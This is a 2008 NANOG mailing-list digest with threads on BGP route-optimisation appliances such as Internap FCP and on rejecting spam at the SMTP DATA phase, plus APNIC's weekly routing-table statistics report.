kallisti.us (Ross Vandegrift) Date: Fri, 4 Jul 2008 10:38:03 -0400 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: References: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5A9@exchange.aoihq.local> <863amqkj2l.fsf@seastrom.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5AC@exchange.aoihq.local> Message-ID: <20080704143803.GA8316@kallisti.us> On Thu, Jul 03, 2008 at 10:36:27PM -0400, Christian Koch wrote: > i definitely see value in appliances like the fcp and route science box, i > just think for a smaller provider it may not be necessary - or maybe i have > it backwards,and it is a better solution for a smaller provider so they > don't have to waste money on highly skilled engineers? maybe i am just > thinking "inside" the box at the moment, from an engineers view..if so my > apologies for steering off course The FCP stinks at managing blackholing. There's supposedly new code on the way to help with some of the blackhole avoidance, but I'll believe it when I see it. It can only really control the outbound path, so if someone else chooses a path to me that blackholed between us, there's not a lot it can do. On the other hand, the best value of the FCP is commit management. It does a fantastic job of making sure we pay the least amount of money to our tranit providers. No more manual balancing of traffic frees up a lot of time, and having an automatic process for it means that we never exceed commit on links that we don't have to. The FCP produces lovely graphs and charts that describe this, which is probably why people accuse it of being too PHB-friendly. But Internap wasn't stupid - one of those pretty charts is cost savings the FCP has accumulated this month vs. the natural BGP decision. For a network with a heavy outbound bias, that quickly adds up to a decent chunk of change. Ross -- Ross Vandegrift ross at kallisti.us "The good Christian should beware of mathematicians, and all those who make empty prophecies. The danger already exists that the mathematicians have made a covenant with the devil to darken the spirit and to confine man in the bonds of Hell." --St. Augustine, De Genesi ad Litteram, Book II, xviii, 37 From cscora at apnic.net Fri Jul 4 13:07:20 2008 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 5 Jul 2008 04:07:20 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <200807041807.m64I7K6V008739@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 05 Jul, 2008 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 262004 Prefixes after maximum aggregation: 128698 Deaggregation factor: 2.04 Unique aggregates announced to Internet: 127630 Total ASes present in the Internet Routing Table: 28612 Prefixes per ASN: 9.16 Origin-only ASes present in the Internet Routing Table: 24946 Origin ASes announcing only one prefix: 12067 Transit ASes present in the Internet Routing Table: 3666 Transit-only ASes present in the Internet Routing Table: 81 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 18 Max AS path prepend of ASN ( 3816) 15 Prefixes from unregistered ASNs in the Routing Table: 602 Unregistered ASNs in the Routing Table: 219 Number of 32-bit ASNs allocated by the RIRs: 48 Prefixes from 32-bit ASNs in the Routing Table: 8 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 782 Number of addresses announced to Internet: 1870051040 Equivalent to 111 /8s, 118 /16s and 182 /24s Percentage of available address space announced: 50.5 Percentage of allocated address space announced: 61.3 Percentage of available address space allocated: 82.3 Percentage of address space in use by end-sites: 72.5 Total number of prefixes smaller than registry allocations: 127674 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 59872 Total APNIC prefixes after maximum aggregation: 22374 APNIC Deaggregation factor: 2.68 Prefixes being announced from the APNIC address blocks: 56863 Unique aggregates announced from the APNIC address blocks: 25353 APNIC Region origin ASes present in the Internet Routing Table: 3294 APNIC Prefixes per ASN: 17.26 APNIC Region origin ASes announcing only one prefix: 874 APNIC Region transit ASes present in the Internet Routing Table: 510 Average APNIC Region AS path length visible: 3.5 Max APNIC Region AS path length visible: 14 Number of APNIC addresses announced to Internet: 361818656 Equivalent to 21 /8s, 144 /16s and 234 /24s Percentage of available APNIC address space announced: 77.0 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 APNIC Address Blocks 58/8, 59/8, 60/8, 61/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 120497 Total ARIN prefixes after maximum aggregation: 65111 ARIN Deaggregation factor: 1.85 Prefixes being announced from the ARIN address blocks: 90125 Unique aggregates announced from the ARIN address blocks: 34734 ARIN Region origin ASes present in the Internet Routing Table: 12250 ARIN Prefixes per ASN: 7.36 ARIN Region origin ASes announcing only one prefix: 4735 ARIN Region transit ASes present in the Internet Routing Table: 1147 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 15 Number of ARIN addresses announced to Internet: 353744160 Equivalent to 21 /8s, 21 /16s and 181 /24s Percentage of available ARIN address space announced: 72.7 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 ARIN Address Blocks 24/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 173/8, 174/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 56354 Total RIPE prefixes after maximum aggregation: 34296 RIPE Deaggregation factor: 1.64 Prefixes being announced from the RIPE address blocks: 51567 Unique aggregates announced from the RIPE address blocks: 34588 RIPE Region origin ASes present in the Internet Routing Table: 11569 RIPE Prefixes per ASN: 4.46 RIPE Region origin ASes announcing only one prefix: 6068 RIPE Region transit ASes present in the Internet Routing Table: 1748 Average RIPE Region AS path length visible: 4.0 Max RIPE Region AS path length visible: 18 Number of RIPE addresses announced to Internet: 364791936 Equivalent to 21 /8s, 190 /16s and 72 /24s Percentage of available RIPE address space announced: 83.6 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-48127 RIPE Address Blocks 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 20593 Total LACNIC prefixes after maximum aggregation: 5225 LACNIC Deaggregation factor: 3.94 Prefixes being announced from the LACNIC address blocks: 18745 Unique aggregates announced from the LACNIC address blocks: 10567 LACNIC Region origin ASes present in the Internet Routing Table: 963 LACNIC Prefixes per ASN: 19.47 LACNIC Region origin ASes announcing only one prefix: 313 LACNIC Region transit ASes present in the Internet Routing Table: 160 Average LACNIC Region AS path length visible: 4.1 Max LACNIC Region AS path length visible: 17 Number of LACNIC addresses announced to Internet: 52976384 Equivalent to 3 /8s, 40 /16s and 91 /24s Percentage of available LACNIC address space announced: 52.6 LACNIC AS Blocks 26592-26623, 27648-28671, plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 4089 Total AfriNIC prefixes after maximum aggregation: 1202 AfriNIC Deaggregation factor: 3.40 Prefixes being announced from the AfriNIC address blocks: 4368 Unique aggregates announced from the AfriNIC address blocks: 1885 AfriNIC Region origin ASes present in the Internet Routing Table: 243 AfriNIC Prefixes per ASN: 17.98 AfriNIC Region origin ASes announcing only one prefix: 77 AfriNIC Region transit ASes present in the Internet Routing Table: 48 Average AfriNIC Region AS path length visible: 3.9 Max AfriNIC Region AS path length visible: 14 Number of AfriNIC addresses announced to Internet: 12239104 Equivalent to 0 /8s, 186 /16s and 193 /24s Percentage of available AfriNIC address space announced: 36.5 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 196/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4755 1664 341 173 Videsh Sanchar Nigam Ltd. Aut 17488 1188 82 91 Hathway IP Over Cable Interne 9583 1144 85 465 Sify Limited 9498 1093 550 63 BHARTI BT INTERNET LTD. 4766 847 6006 344 Korea Telecom (KIX) 4134 828 13427 331 CHINANET-BACKBONE 23577 825 35 705 Korea Telecom (ATM-MPLS) 4780 704 351 63 Digital United Inc. 18101 691 167 33 Reliance Infocom Ltd Internet 9829 599 450 12 BSNL National Internet Backbo Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 209 3006 3874 622 Qwest 6389 2668 3260 197 bellsouth.net, inc. 2386 1481 663 876 AT&T Data Communications Serv 4323 1469 1045 377 Time Warner Telecom 7018 1398 5823 978 AT&T WorldNet Services 6298 1304 185 750 Cox Communicatons 11492 1229 150 12 Cable One 1785 1084 510 104 AppliedTheory Corporation 18566 1045 296 10 Covad Communications 20115 1045 1060 558 Charter Communications Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 3292 414 1792 372 TDC Tele Danmark 8452 347 188 11 TEDATA 3301 334 1460 304 TeliaNet Sweden 3320 322 7047 270 Deutsche Telekom AG 8866 319 77 21 Bulgarian Telecommunication C 5462 296 666 27 Telewest Broadband 3215 287 2758 90 France Telecom Transpac 8551 287 269 38 Bezeq International 680 274 2047 264 DFN-IP service G-WiN 6746 268 126 243 Dynamic Network Technologies, Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1295 2464 224 UniNet S.A. de C.V. 11830 604 299 9 Instituto Costarricense de El 22047 565 270 14 VTR PUNTO NET S.A. 7303 469 231 65 Telecom Argentina Stet-France 16814 426 27 10 NSS, S.A. 6471 410 85 48 ENTEL CHILE S.A. 11172 410 118 70 Servicios Alestra S.A de C.V 10620 401 105 73 TVCABLE BOGOTA 14117 375 23 9 Telefonica del Sur S.A. 20299 335 23 98 NEWCOM AMERICAS Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 475 61 30 LINKdotNET AS number 20858 398 34 3 EgyNet 3741 274 853 225 The Internet Solution 2018 201 205 85 Tertiary Education Network 5713 155 558 93 Telkom SA Ltd 6713 143 135 11 Itissalat Al-MAGHRIB 33783 135 10 12 EEPAD TISP TELECOM & INTERNET 5536 120 8 17 Internet Egypt Network 29571 102 13 8 Ci Telecom Autonomous system 33776 100 6 3 Starcomms Nigeria Limited Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 209 3006 3874 622 Qwest 6389 2668 3260 197 bellsouth.net, inc. 4755 1664 341 173 Videsh Sanchar Nigam Ltd. Aut 2386 1481 663 876 AT&T Data Communications Serv 4323 1469 1045 377 Time Warner Telecom 7018 1398 5823 978 AT&T WorldNet Services 6298 1304 185 750 Cox Communicatons 8151 1295 2464 224 UniNet S.A. de C.V. 11492 1229 150 12 Cable One 17488 1188 82 91 Hathway IP Over Cable Interne Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 6389 2668 2471 bellsouth.net, inc. 4755 1664 1491 Videsh Sanchar Nigam Ltd. Aut 11492 1229 1217 Cable One 17488 1188 1097 Hathway IP Over Cable Interne 4323 1469 1092 Time Warner Telecom 8151 1295 1071 UniNet S.A. de C.V. 18566 1045 1035 Covad Communications 9498 1093 1030 BHARTI BT INTERNET LTD. 1785 1084 980 AppliedTheory Corporation 22773 966 904 Cox Communications, Inc. Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 701 UUNET Technologies, 22492 UNALLOCATED 12.2.46.0/24 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13632 UNALLOCATED 12.20.55.0/24 6517 Yipes Communications 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 13632 UNALLOCATED 12.31.25.0/24 6517 Yipes Communications 27220 UNALLOCATED 12.35.204.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 24.48.244.0/23 7843 Adelphia Corp. 24.51.159.0/24 7843 Adelphia Corp. 24.54.23.0/24 7843 Adelphia Corp. 24.54.224.0/19 20001 HoldCo LLC - Road Runner 24.75.160.0/19 7843 Adelphia Corp. 24.75.192.0/18 7843 Adelphia Corp. 24.142.40.0/21 7018 AT&T WorldNet Services 24.142.160.0/19 7018 AT&T WorldNet Services 24.246.0.0/17 7018 AT&T WorldNet Services 24.246.128.0/18 7018 AT&T WorldNet Services Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:18 /9:9 /10:16 /11:45 /12:144 /13:282 /14:514 /15:1040 /16:9974 /17:4341 /18:7404 /19:15773 /20:18426 /21:18088 /22:22540 /23:23453 /24:137131 /25:865 /26:1046 /27:790 /28:88 /29:9 /30:1 /31:0 /32:7 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 209 1762 3006 Qwest 6389 1670 2668 bellsouth.net, inc. 6298 1289 1304 Cox Communicatons 11492 1209 1229 Cable One 2386 1177 1481 AT&T Data Communications Serv 18566 1026 1045 Covad Communications 4755 1013 1664 Videsh Sanchar Nigam Ltd. Aut 17488 1002 1188 Hathway IP Over Cable Interne 9583 999 1144 Sify Limited 6478 976 985 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data/sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:7 8:119 12:2082 13:2 15:22 16:3 17:5 18:13 20:35 24:1078 25:1 32:62 38:443 40:92 41:654 43:1 44:2 47:12 52:3 55:3 56:3 57:26 58:501 59:504 60:450 61:1002 62:1188 63:2026 64:3289 65:2375 66:3539 67:1228 68:712 69:2263 70:737 71:119 72:1899 73:5 74:1035 75:160 76:302 77:724 78:718 79:189 80:958 81:845 82:612 83:391 84:558 85:964 86:411 87:686 88:335 89:1296 90:14 91:1304 92:213 93:616 94:56 96:39 97:27 98:204 99:3 112:1 113:1 114:71 116:760 117:319 118:187 119:454 120:51 121:557 122:794 123:361 124:865 125:1146 128:362 129:201 130:132 131:410 132:65 133:9 134:177 135:33 136:220 137:87 138:146 139:94 140:488 141:98 142:415 143:309 144:366 145:51 146:363 147:158 148:519 149:198 150:130 151:190 152:141 153:136 154:10 155:277 156:174 157:291 158:185 159:240 160:279 161:114 162:221 163:187 164:523 165:450 166:318 167:329 168:629 169:137 170:428 171:30 172:10 188:1 189:253 190:2166 192:5793 193:4102 194:3221 195:2528 196:1066 198:3729 199:3271 200:5574 201:1469 202:7601 203:8021 204:3974 205:2126 206:2388 207:2765 208:3407 209:3516 210:2577 211:1069 212:1433 213:1629 214:154 215:49 216:4401 217:1198 218:345 219:417 220:1054 221:465 222:307 End of report From vandry at TZoNE.ORG Fri Jul 4 16:01:39 2008 From: vandry at TZoNE.ORG (Phil Vandry) Date: Fri, 4 Jul 2008 17:01:39 -0400 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: <4869FEE6.8070505@spaghetti.zurich.ibm.com> References: <20080628161844.GT31980@catpipe.net> <20080628180212.GA35151@catpipe.net> <4866B387.2070900@vaxination.ca> <20080629200826.GD1569@sources.org> <4869FEE6.8070505@spaghetti.zurich.ibm.com> Message-ID: <20080704210139.GA2930@OZoNE.TZoNE.ORG> On Tue, Jul 01, 2008 at 11:54:46AM +0200, Jeroen Massar wrote: > The magic keyword: REJECT-ON-SMTP-DATA. [snip description on how to reject during DATA phase] > > Unfortunately there is also a side-effect, partially, one has to have > all inbound servers use this trick, and it might be that they need to be > a bit heavier to process and scan all that mail. Then again, you can More than that: you also need to have all users in the domain (indeed all users who share an MX server) agree on the accept/reject policy. If users are free to use different spam filtering techniques and tune them to their liking (e.g. someone uses SpamAssassin with a low threshold, someone else uses it with a high threshold, someone else uses bogofilter instead) then what do you do with mails that are addresses to more than one user? You can have some users reject the message during the RCPT phase and others accept it, but if you've waited until the DATA phase, it's too late for that. -Phil From justin at justinshore.com Sat Jul 5 01:05:09 2008 From: justin at justinshore.com (Justin Shore) Date: Sat, 05 Jul 2008 01:05:09 -0500 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: <20080704210139.GA2930@OZoNE.TZoNE.ORG> References: <20080628161844.GT31980@catpipe.net> <20080628180212.GA35151@catpipe.net> <4866B387.2070900@vaxination.ca> <20080629200826.GD1569@sources.org> <4869FEE6.8070505@spaghetti.zurich.ibm.com> <20080704210139.GA2930@OZoNE.TZoNE.ORG> Message-ID: <486F0F15.1090205@justinshore.com> Phil Vandry wrote: > On Tue, Jul 01, 2008 at 11:54:46AM +0200, Jeroen Massar wrote: >> The magic keyword: REJECT-ON-SMTP-DATA. > [snip description on how to reject during DATA phase] >> Unfortunately there is also a side-effect, partially, one has to have >> all inbound servers use this trick, and it might be that they need to be >> a bit heavier to process and scan all that mail. Then again, you can > > More than that: you also need to have all users in the domain (indeed > all users who share an MX server) agree on the accept/reject policy. > If users are free to use different spam filtering techniques and tune > them to their liking (e.g. someone uses SpamAssassin with a low threshold, > someone else uses it with a high threshold, someone else uses bogofilter > instead) then what do you do with mails that are addresses to more than > one user? You can have some users reject the message during the RCPT > phase and others accept it, but if you've waited until the DATA phase, > it's too late for that. Phil, This is a non-problem if you use the right spam filter. I mentioned CanIt earlier in the thread. It individually applies filtering rules to incoming mail and can apply different rules and take actions on a per-user basis. It handles messages with multiple recipients by feeding copies of the message into an individual user's stream where that user's settings dictate what actions are taken. A user may have an aggressive spam score or an extremely conservative score, message rejection with SpamHaus and SORBS or no DNSBLs at all, tons of custom rules and lots of bells and whistles or spam filtering disabled completely. They've already anticipated all the possible problems that have been brought up in this thread. Arrange for a demo and give it a try. I don't think you'd be disappointed. http://mailman.nanog.org/pipermail/nanog/2008-July/001884.html Justin From Skywing at valhallalegends.com Sat Jul 5 01:25:08 2008 From: Skywing at valhallalegends.com (Skywing) Date: Sat, 5 Jul 2008 01:25:08 -0500 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: <486F0F15.1090205@justinshore.com> References: <20080628161844.GT31980@catpipe.net> <20080628180212.GA35151@catpipe.net> <4866B387.2070900@vaxination.ca> <20080629200826.GD1569@sources.org> <4869FEE6.8070505@spaghetti.zurich.ibm.com> <20080704210139.GA2930@OZoNE.TZoNE.ORG> <486F0F15.1090205@justinshore.com> Message-ID: <982D8D05B6407A49AD506E6C3AC8E7D66147930B21@caralain.haven.nynaeve.net> I think the problem that was being raised here was that past the DATA phase, if one recipient is going to receive the message and another is going to reject it, you have lost the ability to communicate this back to the sender (at least without an NDR). Thus the problem of mails disappearing into spam folder black holes is back in the multirecipient case when one is dealing with DATA and recipients have differing spam policies. - S -----Original Message----- From: Justin Shore [mailto:justin at justinshore.com] Sent: Saturday, July 05, 2008 2:05 AM To: Phil Vandry Cc: nanog at merit.edu Subject: Re: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) Phil, This is a non-problem if you use the right spam filter. I mentioned CanIt earlier in the thread. It individually applies filtering rules to incoming mail and can apply different rules and take actions on a per-user basis. It handles messages with multiple recipients by feeding copies of the message into an individual user's stream where that user's settings dictate what actions are taken. A user may have an aggressive spam score or an extremely conservative score, message rejection with SpamHaus and SORBS or no DNSBLs at all, tons of custom rules and lots of bells and whistles or spam filtering disabled completely. They've already anticipated all the possible problems that have been brought up in this thread. Arrange for a demo and give it a try. I don't think you'd be disappointed. http://mailman.nanog.org/pipermail/nanog/2008-July/001884.html Justin From justin at justinshore.com Sat Jul 5 01:28:57 2008 From: justin at justinshore.com (Justin Shore) Date: Sat, 05 Jul 2008 01:28:57 -0500 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: <982D8D05B6407A49AD506E6C3AC8E7D66147930B21@caralain.haven.nynaeve.net> References: <20080628161844.GT31980@catpipe.net> <20080628180212.GA35151@catpipe.net> <4866B387.2070900@vaxination.ca> <20080629200826.GD1569@sources.org> <4869FEE6.8070505@spaghetti.zurich.ibm.com> <20080704210139.GA2930@OZoNE.TZoNE.ORG> <486F0F15.1090205@justinshore.com> <982D8D05B6407A49AD506E6C3AC8E7D66147930B21@caralain.haven.nynaeve.net> Message-ID: <486F14A9.5080701@justinshore.com> I'd have to think of this one. I'm not sure what CanIt would do in such a case. A NDR may be the only way in that scenario. I'll sleep on it. Justin Skywing wrote: > I think the problem that was being raised here was that past the DATA phase, if one recipient is going to receive the message and another is going to reject it, you have lost the ability to communicate this back to the sender (at least without an NDR). Thus the problem of mails disappearing into spam folder black holes is back in the multirecipient case when one is dealing with DATA and recipients have differing spam policies. > > - S From jfmezei at vaxination.ca Sat Jul 5 03:52:43 2008 From: jfmezei at vaxination.ca (=?ISO-8859-1?Q?Jean-Fran=E7ois_Mezei?=) Date: Sat, 05 Jul 2008 04:52:43 -0400 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: <2008070502062564justin@justinshore.com> References: <2008070502062564justin@justinshore.com> Message-ID: <486F365B.70105@vaxination.ca> one note about whether to filter at receiving SMTP server or later. The receiving SMTP server is the one that has the conversation with the sender. Rejecting mail from servers having an un-backtranslatable IP is best done right away by the receiving server right after the HELO command by issuing error message about the IP being unbacktranslatable. Reduces the load. later on (for instance at the client level), you need to parse the RFC822 text header and there are some bits that are missing, notably the RCPT TO: commands. This is especially true when the "TO" in the 822 header is faked. Blocking messages as early as possible also greatly reduces the load on your system, disk storage requirements etc. From rubensk at gmail.com Sat Jul 5 06:24:20 2008 From: rubensk at gmail.com (Rubens Kuhl Jr.) Date: Sat, 5 Jul 2008 08:24:20 -0300 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: References: Message-ID: <6bb5f5b10807050424t50c793d3sbe74fdc56f3e5cd7@mail.gmail.com> If you already own Cisco gear, Cisco OER (which now has another marketing name) might do the trick without buying any appliances, as it runs on top of IOS. Rubens On Thu, Jul 3, 2008 at 8:50 AM, Drew Weaver wrote: > Howdy for reasons it might be inappropriate to discuss on this list we've decided that we're going to replace our Avaya/RouteScience box and we're looking for recommendations on different solutions for 'BGP management appliances'. > > We're aware of the Internap FCP product, but is there anything else out there besides 'oy, hire a BGP admin ya tool!' that anyone can offer? > > As always, comments are appreciated. > > -Drew > > From tsands at rackspace.com Sat Jul 5 09:39:09 2008 From: tsands at rackspace.com (Tom Sands) Date: Sat, 05 Jul 2008 09:39:09 -0500 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: <20080704143803.GA8316@kallisti.us> References: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5A9@exchange.aoihq.local> <863amqkj2l.fsf@seastrom.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5AC@exchange.aoihq.local> <20080704143803.GA8316@kallisti.us> Message-ID: Ross Vandegrift wrote: > On Thu, Jul 03, 2008 at 10:36:27PM -0400, Christian Koch wrote: >> i definitely see value in appliances like the fcp and route science box, i >> just think for a smaller provider it may not be necessary - or maybe i have >> it backwards,and it is a better solution for a smaller provider so they >> don't have to waste money on highly skilled engineers? maybe i am just >> thinking "inside" the box at the moment, from an engineers view..if so my >> apologies for steering off course We've used the FCP for quite a few years now, with "good" success. The point at which we started seeing it being worthwhile was about 4 providers. Many of the challenges weren't having qualified engineers, or knowing the nature of your traffic, it was more a matter of being able to be dynamic, aware of the impact of the prefixes/ASN's that you are making changes to, managing cost, etc. In a content heavy network, where your traffic patterns vary greatly (based on clients/visitors all over the world), just knowing your traffic isn't enough. The argument could probably be made that you could script some of this, but it still doesn't get you the same solution, so partly it depends if you need a complete solution. We reached a point that in order to monitor traffic, commits, costs, performance, etc.. That we were spending a significant amount of time to do this with an engineer (or 3). It's an ongoing thing, not a once a day change, and with all the factors involved as to why you would make a change, it becomes far less accurate doing it with an engineer (using scripts, and traffic data) than an appliance designed to do it. Some of the biggest challenges we hit using an engineer were being able to "accurately" determine the amount of data you will be shifting when a change is made, based on a prefix or ASN, also knowing what the performance impact looks like for that prefix or ASN when a change it made to send it via another provider, not to mention monitoring your current active paths to attempt to be aware of performance problems you want to make a pro-active change for. > > The FCP stinks at managing blackholing. There's supposedly new code > on the way to help with some of the blackhole avoidance, but I'll > believe it when I see it. It can only really control the outbound > path, so if someone else chooses a path to me that blackholed between > us, there's not a lot it can do. Agreed, none of the appliances I've seen are 100%, nor are they infinitely scalable. We've had numerous issues with blackhole problems and the FCP, and I too won't hold my breath for this to get resolved. Especially since in the last 5 yrs we've used this product, we've seen very little evolution in features and functionality. We are actually at the point that we're out growing the abilities of the FCP, and I'm interested in the input on this thread to try and figure out what's next. The preferred method of data collection with the FCP is SPAN/Monitor, however for our network/topology that doesn't scale well (not to mention their costs don't scale well either). They also support Netflow, but have a VERY limited ability to process it in any volume. > > On the other hand, the best value of the FCP is commit management. It > does a fantastic job of making sure we pay the least amount of money > to our tranit providers. No more manual balancing of traffic frees up > a lot of time, and having an automatic process for it means that we > never exceed commit on links that we don't have to. > > The FCP produces lovely graphs and charts that describe this, which is > probably why people accuse it of being too PHB-friendly. But Internap > wasn't stupid - one of those pretty charts is cost savings the FCP has > accumulated this month vs. the natural BGP decision. > > For a network with a heavy outbound bias, that quickly adds up to a > decent chunk of change. > > Ross > ------------------------------------------------------ Tom Sands Chief Network Engineer Rackspace (210)312-4391 ------------------------------------------------------ Confidentiality Notice: This e-mail message (including any attached or embedded documents) is intended for the exclusive and confidential use of the individual or entity to which this message is addressed, and unless otherwise expressly indicated, is confidential and privileged information of Rackspace. Any dissemination, distribution or copying of the enclosed material is prohibited. If you receive this transmission in error, please notify us immediately by e-mail at abuse at rackspace.com, and delete the original message. Your cooperation is appreciated. From justin at justinshore.com Sat Jul 5 10:50:35 2008 From: justin at justinshore.com (Justin Shore) Date: Sat, 05 Jul 2008 10:50:35 -0500 Subject: REJECT-ON-SMTP-DATA (Re: Mail Server best practices - was: Pandora's Box of new TLDs) In-Reply-To: <486F365B.70105@vaxination.ca> References: <2008070502062564justin@justinshore.com> <486F365B.70105@vaxination.ca> Message-ID: <486F984B.1090701@justinshore.com> Jean-Fran?ois Mezei wrote: > Blocking messages as early as possible also greatly reduces the load on > your system, disk storage requirements etc. Rejecting during the SMTP dialog but before you signal that you've accepted the DATA output also also pushes the responsibility for sending a DSN to the sending MTA. It's is a spammer then they'll drop the DSN. If it's a compromised PC running Storm Worm or the like it won't generate DSNs anyway. If it's a legit but poorly-configured MTA acting as an open relay it will generate the DSN and eventually get itself blacklisted. Sending a DSN to a spoofed envelope From is considered spam in and of itself and will get an MTA blacklisted. You could always not send DSNs in which case the sender of a legit message that had a few to many !!!s in it will not get a bounce and will not know that there message was blocked. It disappears into an email blackhole. Few things piss off users like disappearing email. It's best all around to force the sending MTA to send the bounce. Your MTA doesn't get blacklisted, spammers' relays are forced to do a little extra work, and senders of legit mail that's a false-positive get a DSN telling them that their message didn't go through (and hopefully why). Everyone wins. Block early and block often. Justin From frnkblk at iname.com Sat Jul 5 15:21:55 2008 From: frnkblk at iname.com (Frank Bulk - iNAME) Date: Sat, 5 Jul 2008 15:21:55 -0500 Subject: tacid.org In-Reply-To: <8972799.1215082247077.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> References: <8972799.1215082247077.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> Message-ID: Nick: Leaving a domain and IP fallow for such a long time will end up looking like my garden did this year when I did the same thing -- overrun with weeds. Sending a blanket e-mail to NANOG is not going to get the attention of those who manage the e-mail flow (unless you domain belonged to a Fortune 100). Just like I should have with my garden, rather than replant among the weed seeds and spend 99% of my time pulling weeds, I would recommend sowing a new field by moving your outbound e-mail server(s) to some fresh address space (different /24 to be sure, ideally another section of SWIPed space) and start monitoring your outgoing servers logs. You'll need to work with each MTA that blocks your e-mail and ask them to delist you from whatever block (domain or domain reputation) that they have. At the same time, systematically go to every RBL that 